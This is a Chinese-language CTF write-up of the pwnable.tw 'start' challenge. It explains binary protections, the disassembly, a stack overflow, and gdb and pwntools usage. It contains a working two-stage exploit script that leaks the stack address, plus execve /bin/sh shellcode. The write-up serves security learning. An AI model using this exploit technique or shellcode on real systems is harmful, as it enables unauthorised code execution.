题目地址:https://pwnable.tw/challenge/#1
检查文件与保护机制
拿到题目的第一步是先检查文件类型和保护机制的开启情况:
➜ file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
➜ checksec start
[*] '/Users/xuanxuan/Desktop/pwnable/start/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
可以看到没有没有开启任何保护机制,关于保护机制的介绍有很多:
但是这些保护机制是怎么开启的呢?
可以知道这些保护机制是gcc这个工具提供的,只需要在用gcc编译的时候:gcc xxx.c -o xxx
添加相应的选项即可:
(1) CANNARY保护
- 作用:检测栈溢出
- 关闭:-fno-stack-protector
- 启用(只为局部变量中含有 char 数组的函数插入保护代码): -fstack-protector
- 启用(为所有函数插入保护代码): -fstack-protector-all
(2) FORTIFY保护
- 作用:限制格式化字串漏洞
- 关闭:-D_FORTIFY_SOURCE=0
- 开启(只会在编译的时候检查):-D_FORTIFY_SOURCE=1 -O1
- 开启(强检查):-D_FORTIFY_SOURCE=2 -O2 没有加-O2参数的话是不会开启强检查的,需要在编译的时候加上这个参数
(3) NX保护
- 作用:堆栈不可执行
- 关闭:-z execstack
- 开启:-z noexecstack
(4) PIE保护
- 作用:地址随机化
- 关闭: -no-pie
- 开启: -pie -fPIC
(5) RELRO保护
- 作用:GOT表不可写
- 关闭:-z norelro
- 开启(部分):-z lazy
- 开启(完全):-z now
(6) 去除符号表
- 作用:增加逆向难度
- 启用:-s
理解代码
然后运行一下这个题目:
➜ ./start
Let's start the CTF:
➜ ./start
Let's start the CTF:1231231
➜ ./start
Let's start the CTF:123123123123123123123123123
[1] 13793 segmentation fault (core dumped) ./start
发现输入多了直接就崩溃,很有可能是栈溢出,在用gdb尝试看一下崩溃时的地址:
➜ gdb -q ./start
Reading symbols from ./start...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/桌面/pwnable/start/start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x2d ('-')
EBX: 0x0
ECX: 0xffffcfb4
EDX: 0x3c ('<')
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffffcfcc
EIP: 0x61616161 ('aaaa')
可以看到果然EIP的值已经被修改成我们的输入了,用IDA打开题目,发现只有两个函数,_start
和_exit
,_start
这个符号是linux中可执行程序加载到内存里后执行的第一个函数,即为正常通过gcc编译的c代码的入口点,调用顺序如下(参考《程序员的自我修养》):
_start
-> __libc_start_main
->main
但是这个题目中只有两个函数,可见这个题目的源码并不是正常的c代码,而应该是直接编写的汇编代码,通过IDA在程序加载地址的位置给出的注释信息也可以看到,题目的sourcefile是:start.s
LOAD:08048000 ;
LOAD:08048000 ; Input SHA256 : 0B64F96833009502EAF73AF1767DC6E125C8E4DE0A32336C2C3949ED40ED4A6F
LOAD:08048000 ; Input MD5 : 4DE65E1A816D8EB93FA2C74EFFCDB38B
LOAD:08048000 ; Input CRC32 : E543DBF7
LOAD:08048000
LOAD:08048000 ; File Name : /Users/xuanxuan/Desktop/pwnable/start/start
LOAD:08048000 ; Format : ELF for Intel 386 (Executable)
LOAD:08048000 ; Imagebase : 8048000
LOAD:08048000 ;
LOAD:08048000 ; Source File : 'start.s'
LOAD:08048000
LOAD:08048000 .686p
LOAD:08048000 .mmx
LOAD:08048000 .model flat
LOAD:08048000 .intel_syntax noprefix
接下来我们看_start函数干了什么:
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 20 ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 60
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
可以见到这里并没有常规函数上来的两步:push ebp; mov ebp, esp; 而是压了esp,很奇怪。然后依次:
- 压了_exit函数的地址
- 清eax,ebx,ecx,edx
- 压字符串,20个字节
- 分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
- 清ebx,给eax,edx赋值(3,60),然后int 80h系统调用
- esp加20个字节收回栈空间
- 根据栈上的返回地址(_exit)返回
al,bl,dl寄存器是啥:
系统调用的参数怎么看:
%eax | Name | Source | %ebx | %ecx | %edx | %esx | %edi |
---|---|---|---|---|---|---|---|
1 | sys_exit | kernel/exit.c | int | - | - | - | - |
2 | sys_fork | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - |
3 | sys_read | fs/read_write.c | unsigned int | char * | size_t | - | - |
4 | sys_write | fs/read_write.c | unsigned int | const char * | size_t | - | - |
5 | sys_open | fs/open.c | const char * | int | int | - | - |
6 | sys_close | fs/open.c | unsigned int | - | - | - | - |
7 | sys_waitpid | kernel/exit.c | pid_t | unsigned int * | int | - | - |
8 | sys_creat | fs/open.c | const char * | int | - | - | - |
9 | sys_link | fs/namei.c | const char * | const char * | - | - | - |
10 | sys_unlink | fs/namei.c | const char * | - | - | - | - |
11 | sys_execve | arch/i386/kernel/process.c | struct pt_regs | - | - | - | - |
可见其实就是eax是系统调用号,然后ebx,ecx,edx,esx,edi分别放置系统调用的参数。那当我们知道系统调用号eax的值后,除了在网上查表,能不能在本地直接看到是那个系统调用呢,以及知道系统调用所需要的参数呢?
首先可以通过以下文件查看到系统调用:
/usr/include/asm/unistd_32.h
/usr/include/asm/unistd_64.h
比如我是32位系统下的4号系统调用:
#define __NR_write 4
可以看到是write系统调用,那个__NR_
是宏,理解的时候去掉就行了,然后通过man命令查看相应的系统调用,即可看到参数的顺序啦:
$ man 2 write
WRITE(2) Linux Programmer's Manual WRITE(2)
NAME
write - write to a file descriptor
SYNOPSIS
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
linux 有很多帮助手册,因为没有人可以记住那么多命令。其中最主要的就是man命令,还有info命令
但是这里之前有个疑问,明明write是系统调用,是int 80h之后的代码,是sys_write,那可以调用的这个write的c函数,是啥?其实这是libc帮我们封装好的系统调用,在这个write函数里面就会去执行int 80h进入真正的系统调用。
刚刚接触二进制的时候会遇到一些不知道是啥的c函数,也没人教过这些函数都是啥。在本科学c语言程序设计的时候,就用过那么几个函数printf,scanf,pow,觉得这些东西无论怎么组合使用也都是在折腾那些输入输出,根本不知道那些对于图形,网络,内存,设备的控制怎么实现?用什么函数?真的觉得这是教学的一个坑。因为,我们学的是c语言程序设计,不是linux程序设计,不是windows程序设计。于是哪些是c语言本身的函数,哪些是使用操作系统提供的API的函数,这些函数实现在哪,头文件在哪,老师也没教过。
所以我们讲c语言课学的那些函数都是ANSI C中的函数,也是c语言本身的函数,虽然这么讲课没错,但是真的应该在开始上课之前,先把所讲的语言特性是哪个层次给学生说清了。那那些POSIX的函数怎么学习呢?
回到题目所以这两个系统调用
- 分别给eax,ebx,ecx,edx赋值(4,1,esp,20),然后int 80h系统调用
- 清ebx,给eax,edx赋值(3,60),然后int 80h系统调用
可以翻译成如下c的伪代码:
write(1,esp,20); // 从栈上读20个字节到标准输出(读内存)
read(0,esp,60); // 从标准输入写60个字节到栈上(写内存)
可以看到write和read函数的对象是文件描述符,而我们安全研究关注的是内存,所以在理解上,文件描述符的读写和内存的读写是反的。
漏洞点以及利用
非常明显的栈溢出,能给栈上写60个字节,完全能覆盖返回地址。但是怎么利用,没有libc,没有bss段,看起来shellcode只能写到栈上,但是怎么知道栈的地址呢?于是看到函数第一步先压了esp到栈顶,我们还能控制eip去进行write的系统调用打印栈上的变量,所以这样直接就可以泄露当时压栈的时候的esp了,通过计算也就能计算出我们要部署的shellcode所安排的地址啦,所以利用大概分两步:
- 首先泄露之前的esp
- 然后布置shellcode到栈上,并且计算相应的返回地址覆盖eip
+-------------+ +----------------+
| |
| | ^
| | |
| | |
| | |
| shellcode | |
| | |
| | |
| | |
| | |
| | |
oldesp + 14h = shellcode addr ---------------> +-------------+ +-----+ |
| | |
| shellcode | ^ +
| addr | |
| | |
esp+14h ------> +-------------+ | payload
| | |
| | +
| 'a'*20 |
| | 24 byte +
| | |
| | |
| | + |
| | | |
| | | |
| | | |
| | | |
| | | |
| | | |
high addr +-------------+ +-------------+ oldesp ------> +-------------+ | | | |
| | | | | | | | | |
| oldesp | | oldesp | | oldesp | | | v v
| | | | | | | |
+-------------+ +-------------+ +-----+ esp ------> +-------------+ esp ------> +-------------+ +-----+ +--------+
| | | | | | | |
| retaddr | | 0x08048087 | ^ | 0x08048087 | | 0x08048087 |
| | | | | | | | |
+-------------+ +-------------+ | +-------------+ +-------------+
| | | | | | | | |
| | | 'a'*20 | | | | | |
| | | | + | | | |
| | | | | | | |
| | | | 24 byte | | | |
| | | | | | | |
| | | | payload | | | |
| | | | | | | |
| | | | + | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | | | | | |
| | | | v | | | |
| | | | | | | |
low addr esp ------> +-------------+ esp ------> +-------------+ +-----+ +-------------+ +-------------+
start first attack ret 0x08048097 second attack
pwntools的使用
pwntools是一个python的库,专门用于做ctf的pwn题,因为提供了和服务器的io操作(还有一个控制io的库叫zio,也经常在ctf中使用),所以要想用pwntools解其他题也可以
疑问:
- pwntools安装的时候用的是pip install pwntools,但是在用的时候是import pwn,这俩名字为啥不一样?如何配置?
- 通过pip install pwntools安装完后,直接可以使用一些命令行工具比如checksec,查看这个玩意发现实际是个python脚本,那这个是怎么在安装过程中完成的呢?在pip的时候可以直接安装东西到
/usr/local/bin/
这种文件夹里么?
使用参考文章:
以下是一个简单的例子:
from pwn import *
context(os='linux',arch='i386',log_level='debug')
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89"
shellcode += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode += "\xcd\x80\x31\xc0\x40\xcd\x80"
myelf = ELF("./start")
io = process(myelf.path)
# io = remote("chall.pwnable.tw",10000)
# gdb.attach(io,"b _start")
payload = "a"*20
payload += p32(0x08048087)
io.recv()
io.send(payload)
oldesp = u32(io.recv(4))
io.recv()
payload = "a"*20
payload += p32(oldesp+20)
payload += shellcode
io.send(payload)
io.interactive()
其中shellcode一般可以用pwntools自带的shellcraft模块生成:
from pwn import *
shellcode = asm(shellcraft.i386.linux.sh())
print shellcode
但是这种shellcode可能会有点长,比如上面那个有44个字节,这道题是只能同60-20-4=36个字节,所以还是需要取网上找shellcode,当然如果不嫌麻烦的话可以把前面那20个字节也利用上,然后跳到后面36个字节,就不用上网找了,不过麻烦死。哪找?
GDB的使用
gdb在linux上一般都自带,mac上也有,但是还需要装一个gdb的插件让gdb在调试的时候显示的信息更方便,这里我用的是peda,安装和使用如下:
这玩意就是得用非常熟练,脑子里很清晰很快速的翻译,面前这一堆都是啥,用文萱的话:这玩意就是熟练活。首先就是直接用gdb启动需要被调试的进程:
$ gdb -q ./start # -q是quiet,输出少一点
然后就可以用那些gdb或者peda的命令了(i b p x r c n s set等等),但是这种都是常规的调试,在测试的过程中经常要输入一些十六进制的地址给程序,而我们又没有办法直接在键盘上输入一些不可见字符给程序,这可怎么办?用pwntools的gdb模块!
pwntools中使用gdb
一般用法比较简单,只用一个gdb.attach就可以了,第一参数是io,第二个参数可以直接是空字符串,也可以是一个gdb命令:
from pwn import *
myelf = ELF("./start")
io = process(myelf.path)
gdb.attach(io,"b _start")
io.interactive()
虽然是在_start打断点,但是尝试一下,并不会断到这,因为在启动的第一个函数就是_start,所以需要用gdb.debug()方法:
from pwn import *
myelf = ELF("./start")
io = gdb.debug(myelf.path,"b _start")
io.interactive()
注意这里一般最后要有一个interactive(),阻止python退出,否则python执行完就退出了,启动的调试进程也退出了,gdb也就调不了了。
调试技巧
判断溢出长度
(1) pattern.py
(2) pwntools模块cyclic
cyclic(20)
length = cyclic_find('aafb')
0xdeadbeef(判断eip是否已经劫持)
基本方法,就是在动态调试的时候看啥时候eip被控制了,看看寄存器是啥,看看相关的内存都是啥,程序走哪去了,然后加加减减的算算偏移。经常会在测试中看到0xdeadbeef
,这是个啥?
参考:
计算机这玩意是老外发明的,人家用a-f这6个字母也能玩出花样来,这个十六进制数的字面意思是“死牛肉”,是一个有意义的英文单词,是一个很显眼的标签。另外在32位的linux的操作系统中0xc0000000-0xffffffff是内核空间,所以0xdeadbeef是内核空间的一个地址,当用这个地址把eip劫持时,用户代码访问一定出错,即可快速判定我们的payload写的是否正确(eip是否是0xdeadbeef)。